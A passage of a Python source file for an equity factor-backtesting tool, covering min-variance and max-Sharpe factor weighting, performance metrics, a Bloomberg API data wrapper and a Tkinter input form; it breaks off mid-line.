Strategy.NOTHING:\n return [0 for ticker in self.tickers], [0 for factor in self.factors]\n # The inindex variable calculates which tickers were present in the index on that given date\n # (thanks to the function inindex).\n inindex = self.inindex(date)\n\n # If the portfolio is equally weighted, the weights of the factors are equal to 0 and the weight of each\n # asset is equally weighted.\n if strategy_name == Strategy.EQWEIGHT:\n\n res = list()\n\n for ticker in self.tickers:\n if ticker in inindex:\n res.append(1 / len(inindex))\n else:\n res.append(0)\n\n return res, [0 for factor in self.factors]\n\n # The function first creates a pandas DataFrame named returns with the columns of the factors \"Momentum\",\n # \"Size\", and \"Value\" and fills it with the respective returns for the past six months.\n returns = pd.DataFrame(columns=self.factors)\n\n for factor in self.factors:\n if \"Momentum\" == factor:\n returns_momentum = pd.Series(self.momentum.returns)\n six_months_ago = date - self.reballancing_frequency\n returns_momentum = returns_momentum[\n (returns_momentum.index <= date) & (returns_momentum.index >= six_months_ago)]\n returns[\"Momentum\"] = returns_momentum\n if \"Size\" == factor:\n returns_size = pd.Series(self.size.returns)\n six_months_ago = date - self.reballancing_frequency\n returns_size = returns_size[(returns_size.index <= date) & (returns_size.index >= six_months_ago)]\n returns[\"Size\"] = returns_size\n if \"Value\" == factor:\n returns_value = pd.Series(self.value.returns)\n six_months_ago = date - self.reballancing_frequency\n returns_value = returns_value[(returns_value.index <= date) & (returns_value.index >= six_months_ago)]\n returns[\"Value\"] = returns_value\n # Constraints are then defined for the optimisation, which requires the sum of the weights to be equal to 1.\n constraints = [{'type': 'eq', 'fun': lambda w: np.sum(w) - 1}]\n\n bounds = []\n initial_weights = np.ones(len(self.factors)) / len(self.factors)\n # We set limits for the weights, which must be between 0 and 1.\n for factor in self.factors:\n bounds.append((0, 1))\n\n bounds = tuple(bounds)\n # We optimize based on the strategy name by minimizing variance for MINVAR.\n if strategy_name == Strategy.MINVAR:\n\n def variance(w):\n var = np.dot(w.T, np.dot(returns.cov(), w))\n return var\n\n res = minimize(variance,\n initial_weights,\n method='SLSQP',\n constraints=constraints,\n bounds=bounds)\n\n factor_weights = res.x\n\n weights_dict = {}\n for ticker in self.tickers:\n weights_dict[ticker] = 0.0\n\n for ticker in self.tickers:\n if \"Momentum\" in self.factors:\n index_momentum = self.factors.index(\"Momentum\")\n if ticker in self.momentum.long_tickers[date]:\n weights_dict[ticker] += factor_weights[index_momentum] * 1 / 5\n elif ticker in self.momentum.short_tickers[date]:\n weights_dict[ticker] -= factor_weights[index_momentum] * 1 / 5\n if \"Size\" in self.factors:\n index_size = self.factors.index(\"Size\")\n if ticker in self.size.long_tickers[date]:\n weights_dict[ticker] += factor_weights[index_size] * 1 / 5\n elif ticker in self.size.short_tickers[date]:\n weights_dict[ticker] -= factor_weights[index_size] * 1 / 5\n if \"Value\" in self.factors:\n index_value = self.factors.index(\"Value\")\n if ticker in self.value.long_tickers[date]:\n weights_dict[ticker] += factor_weights[index_value] * 1 / 5\n elif ticker in self.value.short_tickers[date]:\n weights_dict[ticker] -= factor_weights[index_value] * 1 / 5\n\n weights = []\n for ticker in self.tickers:\n weights.append(weights_dict[ticker])\n\n return weights, factor_weights\n # We optimize based on the strategy name by minimizing variance for MAXSHARPE.\n if strategy_name == Strategy.MAXSHARPE:\n\n cum_returns = (1 + returns).cumprod() - 1\n cum_returns = np.array(cum_returns.tail(1))\n\n def sharpe(w):\n vol = np.sqrt(np.dot(w.T, np.dot(returns.cov(), w)))\n er = np.sum(cum_returns * w)\n sr = er / vol\n return -sr\n\n res = minimize(sharpe,\n initial_weights,\n method='SLSQP',\n constraints=constraints,\n bounds=bounds)\n\n factor_weights = res.x\n\n weights_dict = {}\n for ticker in self.tickers:\n weights_dict[ticker] = 0.0\n\n for ticker in self.tickers:\n if \"Momentum\" in self.factors:\n index_momentum = self.factors.index(\"Momentum\")\n if ticker in self.momentum.long_tickers[date]:\n weights_dict[ticker] += factor_weights[index_momentum] * 1 / 5\n elif ticker in self.momentum.short_tickers[date]:\n weights_dict[ticker] -= factor_weights[index_momentum] * 1 / 5\n if \"Size\" in self.factors:\n index_size = self.factors.index(\"Size\")\n if ticker in self.size.long_tickers[date]:\n weights_dict[ticker] += factor_weights[index_size] * 1 / 5\n elif ticker in self.size.short_tickers[date]:\n weights_dict[ticker] -= factor_weights[index_size] * 1 / 5\n if \"Value\" in self.factors:\n index_value = self.factors.index(\"Value\")\n if ticker in self.value.long_tickers[date]:\n weights_dict[ticker] += factor_weights[index_value] * 1 / 5\n elif ticker in self.value.short_tickers[date]:\n weights_dict[ticker] -= factor_weights[index_value] * 1 / 5\n\n weights = []\n for ticker in self.tickers:\n weights.append(weights_dict[ticker])\n\n return weights, factor_weights\n\n else:\n raise NotImplementedError()\n\n def Plots(self):\n \"\"\"\n Plots the portfolio value, portfolio factor weights, and portfolio weights\n of the backtest, as well as the drawdowns of the backtest.\n\n Returns:\n fig (matplotlib.figure.Figure): The matplotlib figure containing the plots.\n \"\"\"\n # we create a figure and four subplots with the add_subplot function\n fig = Figure(figsize=(16,16))\n ax1 = fig.add_subplot(411)\n ax2 = fig.add_subplot(412)\n ax3 = fig.add_subplot(413)\n ax4 = fig.add_subplot(414)\n\n # The first for loop draws vertical lines for each rebalancing date in the ax1 and ax2 subgraphs.\n for date in self.reballancing_dates:\n ax1.axvline(date, color=\"gray\", linestyle=\"--\")\n # We extract the portfolio values and plot the portfolio values in ax1.\n portfolios = self.portfolio.values()\n portfolio_values = [portfolio.value for portfolio in portfolios]\n ax1.plot(self.calendar, portfolio_values)\n \n # Set the title and axis labels\n ax1.set_title(\"Portfolio value of the\" + self.strategy.value + \" backtest\")\n ax1.set_ylabel('Portfolio Value')\n ax1.legend()\n\n for date in self.reballancing_dates:\n ax2.axvline(date, color=\"gray\", linestyle=\"-\")\n # The for loop iterates over the factors and plots the factor weights for each factor in the ax2 subgraph.\n for i in range(len(self.factors)):\n portfolios = self.portfolio.values()\n portfolio_weights = [portfolio.factor_weights[i] for portfolio in portfolios]\n ax2.plot(self.calendar, portfolio_weights, label=self.factors[i])\n\n # Set the title and axis labels\n ax2.set_title(\"Portfolio factor weights of the \" + self.strategy.value + \" backtest\")\n ax2.set_ylabel('Weights')\n ax2.legend()\n\n for date in self.reballancing_dates:\n ax3.axvline(date, color=\"gray\", linestyle=\"-\")\n # The for loop iterates over the tickers in the portfolio and plots the weights of each stock in the\n # ax3 subgraph.\n for i in range(len(self.tickers)):\n portfolios = self.portfolio.values()\n portfolio_weights = [portfolio.weights[i] for portfolio in portfolios]\n ax3.plot(self.calendar, portfolio_weights, label=self.tickers[i])\n \n # Set the title and axis labels\n ax3.set_title(\"Portfolio weights of the \" + self.strategy.value + \" backtest\")\n ax3.set_ylabel('Weights')\n ax3.legend()\n\n # We call the Perf class and pass our portfolio as an argument. Then we get the drawdown value.\n perfs = Perfs(self.portfolio)\n drawdowns = perfs.get_drawdowns()\n # Drawdowns are displayed in the ax4 subplot.\n ax4.plot(self.calendar, drawdowns)\n \n # Set the title and axis labels\n ax4.set_title('Drawdowns of the backtest')\n ax4.set_xlabel('Dates')\n ax4.set_ylabel('Drawdowns')\n ax4.legend()\n \n return fig\n \nclass Perfs:\n \"\"\"\n This class is used to calculate various performance metrics of a portfolio.\n\n Attributes:\n -----------\n portfolio : dict\n A dictionary containing portfolio objects as values.\n\n Methods:\n --------\n get_returns()\n Returns the returns of the portfolio.\n get_overall_perf()\n Returns the overall performance of the portfolio.\n get_annualized_perf()\n Returns the annualized performance of the portfolio.\n get_daily_volatility()\n Returns the daily volatility of the portfolio.\n get_monthly_volatility()\n Returns the monthly volatility of the portfolio.\n get_annualized_volatility()\n Returns the annualized volatility of the portfolio.\n get_sharpe_ratio()\n Returns the Sharpe ratio of the portfolio.\n get_drawdowns()\n Returns the drawdowns of the portfolio.\n get_maximum_drawdown()\n Returns the maximum drawdown of the portfolio.\n get_historical_var(alpha=0.05)\n Returns the historical value at risk of the portfolio.\n get_performances_dico()\n Returns a dictionary containing various performance metrics of the portfolio.\n \"\"\"\n def __init__(self, portfolio):\n \"\"\"\n Initializes the class with a portfolio.\n\n Parameters:\n ----------\n portfolio: dict\n Dictionary of portfolios.\n\n Attributes:\n ----------\n self.portfolio : dict\n Dictionary of portfolios.\n self.list_portfolio_objects : list\n List of portfolio objects.\n self.list_portfolio_values : list\n List of portfolio values.\n self.list_portfolio_weights : list\n List of portfolio weights.\n\n \"\"\"\n self.portfolio = portfolio\n self.list_portfolio_objects = self.portfolio.values()\n self.list_portfolio_values = [portfolio.value for portfolio in self.list_portfolio_objects]\n self.list_portfolio_weights = [portfolio.weights for portfolio in self.list_portfolio_objects]\n\n def get_returns(self):\n \"\"\"\n Calculates portfolio returns.\n\n Returns:\n -------\n Returns of the portfolio.\n\n \"\"\"\n returns = np.array(self.list_portfolio_values[1:]) / np.array(self.list_portfolio_values[:-1]) - 1\n return returns\n\n def get_overall_perf(self):\n \"\"\"\n Calculates the overall performance of the portfolio.\n\n Returns:\n -------\n overall_perf: float\n Overall performance of the portfolio.\n\n \"\"\"\n return self.list_portfolio_values[-1] / self.list_portfolio_values[0] - 1\n\n def get_annualized_perf(self):\n \"\"\"\n Calculates the overall performance of the portfolio.\n\n Returns:\n -------\n overall_perf: float\n Overall performance of the portfolio.\n\n \"\"\"\n return (1+self.get_overall_perf()) ** (252/len(self.list_portfolio_values)) - 1\n\n def get_daily_volatility(self):\n \"\"\"\n Calcule la volatilité quotidienne du portefeuille.\n\n Returns:\n -------\n daily_volatility : float\n Volatilité quotidienne du portefeuille.\n\n \"\"\"\n returns = self.get_returns()\n return np.std(returns)\n\n def get_monthly_volatility(self):\n \"\"\"\n Calculates the monthly volatility of the portfolio.\n\n Returns:\n -------\n monthly_volatility : float\n Monthly portfolio volatility.\n\n \"\"\"\n returns = self.get_returns()\n return np.std(returns) * np.sqrt(21)\n\n def get_annualized_volatility(self):\n \"\"\"\n Calculates the annualised volatility of the portfolio.\n\n Returns:\n -------\n annualized_volatility : float\n Annualized portfolio volatility.\n\n \"\"\"\n returns = self.get_returns()\n return np.std(returns) * np.sqrt(252)\n\n def get_sharpe_ratio(self):\n \"\"\"\n Calculates the Sharpe ratio of the portfolio.\n\n Returns:\n -------\n sharpe_ratio : float\n Sharpe ratio of the portfolio.\n\n \"\"\"\n return self.get_annualized_perf() / self.get_annualized_volatility()\n \n def get_drawdowns(self):\n \"\"\"\n Returns a list of drawdowns of the portfolio, which is defined as the loss\n in value from a peak value to a subsequent trough value over a specific\n time period, expressed as a percentage.\n\n Returns:\n -------\n list: A list of drawdowns, where each drawdown is expressed as a percentage.\n \"\"\"\n peak = self.list_portfolio_values[0]\n drawdowns = []\n for value in self.list_portfolio_values:\n if value > peak:\n drawdowns.append(0)\n peak = value\n else:\n drawdowns.append((value - peak) / peak)\n return drawdowns\n \n\n def get_maximum_drawdown(self):\n \"\"\"\n Returns the maximum drawdown of the portfolio, which is defined as the\n maximum loss from a peak value to a subsequent trough value over a specific\n time period, expressed as a percentage.\n\n Returns:\n -------\n float: The maximum drawdown expressed as a percentage.\n \"\"\"\n drawdowns = self.get_drawdowns()\n return min(drawdowns)\n\n def get_historical_var(self, alpha=0.05):\n \"\"\"\n Calculate the historical value-at-risk (VaR) at the specified alpha level.\n\n Parameters:\n alpha (float): The confidence level at which to calculate VaR. Default is 0.05.\n\n Returns:\n float: The historical VaR at the specified alpha level.\n \"\"\"\n returns = self.get_returns()\n return np.percentile(returns, alpha * 100)\n\n def get_performances_dico(self):\n \"\"\"\n Returns a dictionary containing various performance metrics of the portfolio,\n such as overall performance, annualized performance, volatility, Sharpe ratio,\n maximum drawdown, and historical Value-at-Risk.\n\n Returns:\n -------\n dict: A dictionary containing various performance metrics, where each metric\n is represented as a key-value pair, with the metric name as the key and the\n corresponding value as the value.\n \"\"\"\n # We create a dictionary containing the results for each portfolio\n perf_dict = {\n \"Overall Perf\": f'{round(self.get_overall_perf()*100, 2)}%',\n \"Annualized Performance\": f'{round(self.get_annualized_perf()*100, 2)}%',\n \"Daily volatility\": f'{round(self.get_daily_volatility()*100, 2)}%',\n \"Monthly Volatility\": f'{round(self.get_monthly_volatility()*100, 2)}%',\n \"Annualized Volatility\": f'{round(self.get_annualized_volatility()*100, 2)}%',\n \"Sharpe Ratio\": f'{round(self.get_sharpe_ratio()*100, 2)}%',\n \"Maximum Drawdown\": f'{round(self.get_maximum_drawdown()*100, 2)}%',\n \"Historical Var\": f'{round(self.get_historical_var()*100, 2)}%'\n }\n\n return perf_dict\n \n\nclass BBG(object):\n \"\"\"\n Authors: Daniel Dantas, Gustavo Amarante, Gustavo Soares, Wilson Felicio\n This class is a wrapper around the Bloomberg API. To work, it requires an active bloomberg terminal running on\n windows (the API is not comaptible with other OS), a python 3.6 environment and the installation of the bloomberg\n API. Check out the guides on our github repository to learn how to install the API.\n \"\"\"\n\n @staticmethod\n def fetch_series(securities, fields, startdate, enddate, period=\"DAILY\", calendar=\"ACTUAL\", fx=None,\n fperiod=None, verbose=False):\n \"\"\"\n Fetches time series for given tickers and fields, from startdate to enddate.\n Output is a DataFrame with tickers on the columns. If a single field is passed, the index are the dates.\n If a list of fields is passed, a multi-index DataFrame is returned, where the index is ['FIELD', date].\n Requests can easily get really big, this method allows for up to 30k data points.\n This replicates the behaviour of the BDH function of the excel API\n :param securities: str or list of str\n :param fields: str or list of str\n :param startdate: str, datetime or timestamp\n :param enddate: str, datetime or timestamp\n :param period: 'DAILY', 'WEEKLY', 'MONTHLY', 'QUARTERLY', 'SEMI ANNUAL' OR 'YEARLY'. Periodicity of the series\n :param calendar: 'ACTUAL', 'CALENDAR' or 'FISCAL'\n :param fx: str with a currency code. Converts the series to the chosen currency\n :param fperiod: ???\n :param verbose: prints progress\n :return: DataFrame or Multi-index DataFrame (if more than one field is passed)\n \"\"\"\n\n startdate = BBG._assert_date_type(startdate)\n enddate = BBG._assert_date_type(enddate)\n\n bbg_start_date = BBG._datetime_to_bbg_string(startdate)\n bbg_end_date = BBG._datetime_to_bbg_string(enddate)\n\n if startdate > enddate:\n ValueError(\"Start date is later than end date\")\n\n session = blpapi.Session()\n\n if not session.start():\n raise ConnectionError(\"Failed to start session\")\n\n try:\n if not session.openService(\"//blp/refdata\"):\n raise ConnectionError(\"Failed to open //blp/refdat\")\n\n # Obtain the previously opened service\n refdata_service = session.getService(\"//blp/refdata\")\n\n # Create and fill the request for historical data\n request = refdata_service.createRequest(\"HistoricalDataRequest\")\n\n # grab securities\n if type(securities) is list:\n for sec in securities:\n request.getElement(\"securities\").appendValue(sec)\n else:\n request.getElement(\"securities\").appendValue(securities)\n\n # grab fields\n if type(fields) is list:\n for f in fields:\n request.getElement(\"fields\").appendValue(f)\n else:\n request.getElement(\"fields\").appendValue(fields)\n\n request.set(\"periodicityAdjustment\", calendar)\n request.set(\"periodicitySelection\", period)\n request.set(\"startDate\", bbg_start_date)\n request.set(\"endDate\", bbg_end_date)\n request.set(\"maxDataPoints\", 30000)\n\n if not (fx is None):\n request.set(\"currency\", fx)\n\n if not (fperiod is None):\n overrides_bdh = request.getElement(\"overrides\")\n override1_bdh = overrides_bdh.appendElement()\n override1_bdh.setElement(\"fieldId\", \"BEST_FPERIOD_OVERRIDE\")\n override1_bdh.setElement(\"value\", fperiod)\n\n if verbose:\n print(\"Sending Request:\", request.getElement(\"date\").getValue())\n\n # send request\n session.sendRequest(request)\n\n # process received response\n results = {}\n\n while True:\n ev = session.nextEvent()\n\n for msg in ev:\n\n if verbose:\n print(msg)\n\n if msg.messageType().__str__() == \"HistoricalDataResponse\":\n sec_data = msg.getElement(\"securityData\")\n sec_name = sec_data.getElement(\"security\").getValue()\n field_data = sec_data.getElement(\"fieldData\")\n\n if type(fields) is list:\n\n results[sec_name] = {}\n\n for day in range(field_data.numValues()):\n\n fld = field_data.getValue(day)\n\n for fld_i in fields:\n if fld.hasElement(fld_i):\n results[sec_name] \\\n .setdefault(fld_i, []).append([fld.getElement(\"date\").getValue(),\n fld.getElement(fld_i).getValue()])\n else:\n results[sec_name] = []\n for day_i in range(field_data.numValues()):\n fld = field_data.getValue(day_i)\n results[sec_name].append([\n fld.getElement(\"date\").getValue(),\n fld.getElement(fields).getValue()])\n\n if ev.eventType() == blpapi.Event.RESPONSE: # Response completly received, break out of the loop\n break\n\n finally:\n session.stop()\n\n if not type(securities) is list:\n results = results[securities]\n\n # parse the results as a DataFrame\n df = pd.DataFrame()\n\n if not (type(securities) is list) and not (type(fields) is list):\n # single ticker and single field\n # returns a dataframe with a single column\n results = np.array(results)\n df[securities] = pd.Series(index=pd.to_datetime(results[:, 0]), data=results[:, 1])\n\n elif (type(securities) is list) and not (type(fields) is list):\n # multiple tickers and single field\n # returns a single dataframe for the field with the ticker on the columns\n\n for tick in results.keys():\n aux = np.array(results[tick])\n\n if len(aux) == 0:\n df[tick] = np.nan\n else:\n df = pd.concat([df, pd.Series(index=pd.to_datetime(aux[:, 0]), data=aux[:, 1], name=tick)],\n axis=1, join='outer', sort=True)\n\n elif not (type(securities) is list) and (type(fields) is list):\n # single ticker and multiple fields\n # returns a single dataframe for the ticker with the fields on the columns\n\n for fld in results.keys():\n aux = np.array(results[fld])\n df[fld] = pd.Series(index=pd.to_datetime(aux[:, 0]), data=aux[:, 1])\n\n else:\n # multiple tickers and multiple fields\n # returns a multi-index dataframe with [field, ticker] as index\n\n for tick in results.keys():\n\n for fld in results[tick].keys():\n aux = np.array(results[tick][fld])\n df_aux = pd.DataFrame(data={'FIELD': fld,\n 'TRADE_DATE': pd.to_datetime(aux[:, 0]),\n 'TICKER': tick,\n 'VALUE': aux[:, 1]})\n df = df.append(df_aux)\n\n df['VALUE'] = df['VALUE'].astype(float, errors='ignore')\n\n df = pd.pivot_table(data=df, index=['FIELD', 'TRADE_DATE'], columns='TICKER', values='VALUE')\n\n return df\n\n @staticmethod\n def fetch_contract_parameter(securities, field):\n \"\"\"\n Grabs a characteristic of a contract, like maturity dates, first notice dates, strikes, contract sizes, etc.\n Returns a DataFrame with the tickers on the index and the field on the columns.\n This replicates the behaviour of the BDP Function from the excel API.\n OBS: For now, it only allows for a single field. An extension that allows for multiple fields is a good idea.\n :param securities: str or list of str\n :param field: str\n :return: DataFrame\n \"\"\"\n\n # TODO allow for a list of fields\n\n session = blpapi.Session()\n session.start()\n\n if not session.openService(\"//blp/refdata\"):\n raise ConnectionError(\"Failed to open //blp/refdat\")\n\n service = session.getService(\"//blp/refdata\")\n request = service.createRequest(\"ReferenceDataRequest\")\n\n if type(securities) is list:\n\n for each in securities:\n request.append(\"securities\", str(each))\n\n else:\n request.append(\"securities\", securities)\n\n request.append(\"fields\", field)\n session.sendRequest(request)\n\n name, val = [], []\n end_reached = False\n while not end_reached:\n\n ev = session.nextEvent()\n\n if ev.eventType() == blpapi.Event.RESPONSE or ev.eventType() == blpapi.Event.PARTIAL_RESPONSE:\n\n for msg in ev:\n\n for i in range(msg.getElement(\"securityData\").numValues()):\n sec = str(msg.getElement(\"securityData\").getValue(i).getElement(\n \"security\").getValue()) # here we get the security\n name.append(sec)\n\n value = msg.getElement(\"securityData\").getValue(i).getElement(\"fieldData\").getElement(\n field).getValue()\n val.append(value) # here we get the field value we have selected\n\n if ev.eventType() == blpapi.Event.RESPONSE:\n end_reached = True\n session.stop()\n\n df = pd.DataFrame(val, columns=[field], index=name)\n\n return df\n\n \n @staticmethod\n def fetch_index_weights(index_name, ref_date):\n \"\"\"\n Given an index (e.g. S&P500, IBOV) and a date, it returns a DataFrame of its components as the index an\n their respective weights as the value for the given date.\n :param index_name: str\n :param ref_date: str, datetime or timestamp\n :return: DataFrame\n \"\"\"\n\n ref_date = BBG._assert_date_type(ref_date)\n\n session = blpapi.Session()\n\n if not session.start():\n raise ConnectionError(\"Failed to start session.\")\n\n if not session.openService(\"//blp/refdata\"):\n raise ConnectionError(\"Failed to open //blp/refdat\")\n\n service = session.getService(\"//blp/refdata\")\n request = service.createRequest(\"ReferenceDataRequest\")\n\n request.append(\"securities\", index_name)\n request.append(\"fields\", \"INDX_MWEIGHT_HIST\")\n\n overrides = request.getElement(\"overrides\")\n override1 = overrides.appendElement()\n override1.setElement(\"fieldId\", \"END_DATE_OVERRIDE\")\n override1.setElement(\"value\", ref_date.strftime('%Y%m%d'))\n session.sendRequest(request) # there is no need to save the response as a variable in this case\n\n end_reached = False\n df = pd.DataFrame()\n while not end_reached:\n\n ev = session.nextEvent()\n\n if ev.eventType() == blpapi.Event.RESPONSE:\n\n for msg in ev:\n\n security_data = msg.getElement('securityData')\n security_data_list = [security_data.getValueAsElement(i) for i in range(security_data.numValues())]\n\n for sec in security_data_list:\n\n field_data = sec.getElement('fieldData')\n field_data_list = [field_data.getElement(i) for i in range(field_data.numElements())]\n\n for fld in field_data_list:\n\n for v in [fld.getValueAsElement(i) for i in range(fld.numValues())]:\n\n s = pd.Series()\n\n for d in [v.getElement(i) for i in range(v.numElements())]:\n s[str(d.name())] = d.getValue()\n\n df = df.append(s, ignore_index=True)\n\n if not df.empty:\n df.columns = ['', ref_date]\n df = df.set_index(df.columns[0])\n\n end_reached = True\n\n return df\n\n \n @staticmethod\n def _assert_date_type(input_date):\n \"\"\"\n Assures the date is in datetime format\n :param input_date: str, timestamp, datetime\n :return: input_date in datetime format\n \"\"\"\n\n if not (type(input_date) is dt.date):\n\n if type(input_date) is pd.Timestamp:\n input_date = input_date.date()\n\n elif type(input_date) is str:\n input_date = pd.to_datetime(input_date).date()\n\n else:\n raise TypeError(\"Date format not supported\")\n\n return input_date\n\n @staticmethod\n def _datetime_to_bbg_string(input_date):\n \"\"\"\n converts datetime to string in bloomberg format\n :param input_date:\n :return:\n \"\"\"\n return str(input_date.year) + str(input_date.month).zfill(2) + str(input_date.day).zfill(2)\n\n\ndef datahisto(start_date: datetime, end_date: datetime, index_name: str):\n \"\"\"\n This function returns three elements including a dictionary and two arrays.\n\n Args :\n - start_date (datetime) : This is the start date\n - end_date (datetime) : This is the end date\n - index_name (str) : This is the name of the index\n\n\n Returns:\n tickers_dico : It is a dictionary whose key is a date and the value\n associated to this date is the list of tickers\n tab_tickers : It is an array containing all the tickers.\n tab_date : It is an array containing all the dates.\n\n \"\"\"\n\n index_names = {\n \"SPX Index\": \"US\",\n \"INDU Index\": \"US\",\n \"COMP Index\": \"US\",\n \"UKX Index\": \"GB\",\n \"CAC Index\": \"FR\",\n \"DAX Index\": \"DE\",\n \"SX5E Index\": \"EU\",\n \"NKY Index\": \"JP\",\n \"HSI Index\": \"HK\",\n \"SHCOMP Index\": \"CN\",\n \"AS51 Index\": \"AU\",\n \"SENSEX Index\": \"IN\",\n \"S&P/TSX Composite Index\": \"CA\",\n \"IPC Index\": \"MX\",\n \"IBEX 35 Index\": \"ES\",\n \"FTSE MIB Index\": \"IT\",\n \"SMI Index\": \"CH\",\n \"RTS Index\": \"RU\",\n \"Bovespa Index\": \"BR\",\n \"S&P/ASX 200 Index\": \"AU\",\n \"KOSPI Index\": \"KR\",\n \"TSEC Weighted Index\": \"TW\",\n \"SET Index\": \"TH\",\n \"NZX 50 Index\": \"NZ\"\n }\n\n try:\n country = index_names[index_name]\n except:\n raise ValueError()\n\n tickers_dico = {} # dico[date] = list of tickers\n\n list_date = get_business_days(start_date, end_date, country)\n list_tickers = [] # All tickers without duplicates\n\n for date in list_date:\n\n if date == list_date[0]:\n\n df = BBG.fetch_index_weights(index_name, date.strftime('%Y%m%d'))\n tickers_dico[date] = df.index\n for i in df.index:\n list_tickers.append(i)\n last_fetched_month = date.month\n\n # The composition of the S&P changes every 3 months. We have therefore chosen to retrieve the composition\n # of the indices every 3 months (once a quarter).\n elif date.month % 3 == 0 and last_fetched_month < date.month:\n\n df = BBG.fetch_index_weights(index_name, date.strftime('%Y%m%d'))\n tickers_dico[date] = df.index\n for i in df.index:\n list_tickers.append(i)\n last_fetched_month = date.month\n\n else:\n tickers_dico[date] = tickers_dico[list_date[list_date.index(date) - 1]]\n\n list_tickers = list(set(list_tickers))\n\n return tickers_dico, list_tickers, list_date\n\n\ndef datahistobool(tickers_dico, list_tickers, list_date):\n \"\"\"\n This function returns a dictionary consisting of boolean values for each ticker at each date.\n\n Args :\n - tickers_dico (dict): a dictionary whose key is a date and the value associated with this date is the list of tickers\n - list_tickers (list): an array containing all the tickers\n - list_date (list): an array containing all the dates\n\n Returns:\n - A dictionary whose keys are dates. To each date is associated a sub-dictionary.\n This sub-dictionary has for key a ticker and the associated value is True if\n the ticker exists at this date, False otherwise.\n\n \"\"\"\n\n tickers_dico_bool = {}\n\n for ticker in list_tickers:\n\n sous_dico = {}\n\n for date in list_date:\n if ticker in tickers_dico[date]:\n sous_dico[date] = True\n else:\n sous_dico[date] = False\n\n tickers_dico_bool[ticker] = sous_dico\n\n return tickers_dico_bool\n\n\ndef get_quotes(tickers_dico_bool, start: datetime, end: datetime):\n \"\"\"\n The get_quotes function retrieves the closing price data for a given ticker list, for a specified date range.\n The function takes as input a tickers_dico_bool dictionary whose keys are ticker names and values are\n sub-dictionaries containing dates and booleans, indicating whether the ticker is present on the given date or not.\n\n The function first extracts the list of tickers from tickers_dico_bool and adds the suffix \"Equity\" to get the\n Bloomberg codes of the assets. Data is then extracted from Bloomberg for this ticker list, for the specified\n date range.\n\n The function then creates a Universe object and a QuotesSerie object for each ticker.\n These objects are populated with the price data retrieved from Bloomberg, and for each date, a Quote object\n is created for the corresponding ticker. The Quote object contains information about the date, the ticker name,\n the closing price and a boolean indicating whether the ticker was present on that date or not.\n\n Finally, the Quote objects are stored in the QuotesSerie object, which is added to the Universe object.\n The Universe object containing all the data is returned as output.\n\n Args:\n - tickers_dico_bool (dict): a dictionary whose keys are tickers and each value is a sub-dictionary.\n Each sub-dictionary has for key a date and the associated value is True\n if the ticker exists at this date, False otherwise.\n - start (datetime): the start date of the historical period\n - end (datetime): the end date of the historical period\n\n Returns:\n - Universe\n \"\"\"\n\n list_tickers = list(tickers_dico_bool.keys())\n list_tickers = [ticker + \" Equity\" for ticker in list_tickers]\n\n df = BBG.fetch_series(list_tickers, \"PX_LAST\", start.strftime('%Y%m%d'), end.strftime('%Y%m%d'), period=\"DAILY\",\n calendar=\"ACTUAL\", fx=None, fperiod=None, verbose=False)\n \n list_tickers = df.columns\n list_dates = df.index\n\n universe = Universe()\n\n for ticker in list_tickers:\n\n quote_serie = QuotesSerie()\n\n for date in list_dates:\n try:\n if df[ticker][date] == np.nan:\n quote = Quote(date, ticker[:-7], df[ticker][date], False)\n else:\n quote = Quote(date, ticker[:-7], df[ticker][date], tickers_dico_bool[ticker[:-7]][date])\n quote_serie.AddQuote(quote)\n except:\n pass\n\n universe.AddQuotesSerie(quote_serie)\n\n return universe\n\n\nclass BacktestInterface:\n \"\"\"\n The BacktestInterface class is a class that defines a graphical interface that allows the user to specify various\n parameters needed to perform backtesting. The various elements of the interface are :\n\n - Two input fields for the start date and end date of the backtesting.\n - A drop-down menu to select the backtesting strategy from three options: Min Variance, Max Sharpe and Eq Weight.\n - Checkboxes to select the different factors that will be used in the backtesting. The proposed factors are\n Momentum, Value and Size.\n - An input field for the ticker symbol of the index to be used in backtesting.\n - An input field for the transaction costs in basis points.\n - An input field for the frequency of portfolio reallocation in backtesting, with a drop-down menu to specify the\n time unit (days, weeks, months).\n - A submit button to start backtesting with the selected parameters.\n \"\"\"\n def __init__(self):\n \n self.root = Tk()\n self.root.title('Backtest Interface')\n #self.root.resizable(height=False, width = False)\n \n # Add a label for start date\n self.start_date_label = Label(self.root, text=\"Start Date (dd/mm/yyyy)\")\n self.start_date_label.pack()\n \n # Add an entry box for start date\n self.start_date_entry = Entry(self.root)\n self.start_date_entry.pack()\n \n # Add a label for end date\n self.end_date_label = Label(self.root, text=\"End Date (dd/mm/yyyy)\")\n self.end_date_label.pack()\n \n # Add an entry box for end date\n self.end_date_entry = Entry(self.root)\n self.end_date_entry.pack()\n \n # Add a label for strategy\n self.strategy_label = Label(self.root, text=\"Select Strategy\")\n self.strategy_label.pack()\n \n # Add a dropdown list for strategy\n strategy_options = [\"Min Variance\", \"Max Sharpe\", \"Eq Weight\"]\n self.strategy_var = StringVar(self.root)\n self.strategy_var.set(strategy_options[1])\n self.strategy_dropdown = OptionMenu(self.root, self.strategy_var, *strategy_options)\n self.strategy_dropdown.pack()\n \n # Add check label for factors\n self.factors_label = Label(self.root, text=\"Factors\")\n self.factors_label.pack()\n \n self.momentum_var = BooleanVar(value=False)\n self.momentum_check = Checkbutton(self.root, text=\"Momentum\", variable=self.momentum_var)\n self.momentum_check.pack()\n \n self.value_var = BooleanVar(value=False)\n self.value_check = Checkbutton(self.root, text=\"Value\", variable=self.value_var)\n self.value_check.pack()\n \n self.size_var = BooleanVar(value=False)\n self.size_check = Checkbutton(self.root, text=\"Size\", variable=self.size_var)\n self.size_check.pack()\n \n # Add a label for index ticker\n self.ticker_label = Label(self.root, text=\"Ticker of the Index\")\n self.ticker_label.pack()\n \n # Add an entry box for index ticker\n self.ticker_entry = Entry(self.root)\n self.ticker_entry.pack()\n \n # Add a label for transaction costs\n self.transaction_costs_label = Label(self.root, text=\"Transaction Costs (in basis points)\")\n self.transaction_costs_label.pack()\n \n # Add an entry box for transaction costs\n self.transaction_costs_entry = Entry(self.root)\n self.transaction_costs_entry.pack()\n \n # Add a label for reallocation frequency\n self.reallocation_frequency_label = Label(self.root, text=\"Reallocation Frequency (ex: 2 Months)\")\n self.reallocation_frequency_label.pack()\n \n # Add an entry box for reallocation frequency value\n self.reallocation_frequency_value_entry = Entry(self.root)\n self.reallocation_frequency_value_entry.pack(side=LEFT)\n \n # Add a dropdown list for reallocation frequency units\n reallocation_frequency_unit_options = [\"Days\", \"Weeks\", \"Months\"]\n self.reallocation_frequency_unit_var = StringVar(self.root)\n 